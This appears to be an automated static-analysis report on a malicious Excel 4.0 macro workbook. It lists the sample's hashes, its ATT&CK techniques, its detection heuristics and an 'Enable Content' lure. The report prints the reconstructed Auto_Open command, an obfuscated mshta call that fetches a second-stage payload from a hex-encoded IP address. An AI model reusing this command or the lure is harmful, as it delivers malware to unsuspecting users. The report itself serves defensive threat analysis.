Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 8fce525c979da114…

MALICIOUS

Office (OLE) / .XLS

64.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: d208067e428064c2fa62c61ab91b2b75 SHA-1: f4674fdb33fb6d6d69ac6d735079ab7a7c5db7bc SHA-256: 8fce525c979da114840885aa26ff39349e339fd6dc552e512bafeea8eec55cc3
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro sheet that uses an Auto_Open macro to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common lure. The Auto_Open macro reconstructs the command 'cmd /c msh a http://0xc12a24f5/cc.html', indicating it downloads a second-stage payload from the specified URL. The obfuscation 'm^sh^t^a' is a common technique to bypass simple string detection for 'mshta'.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes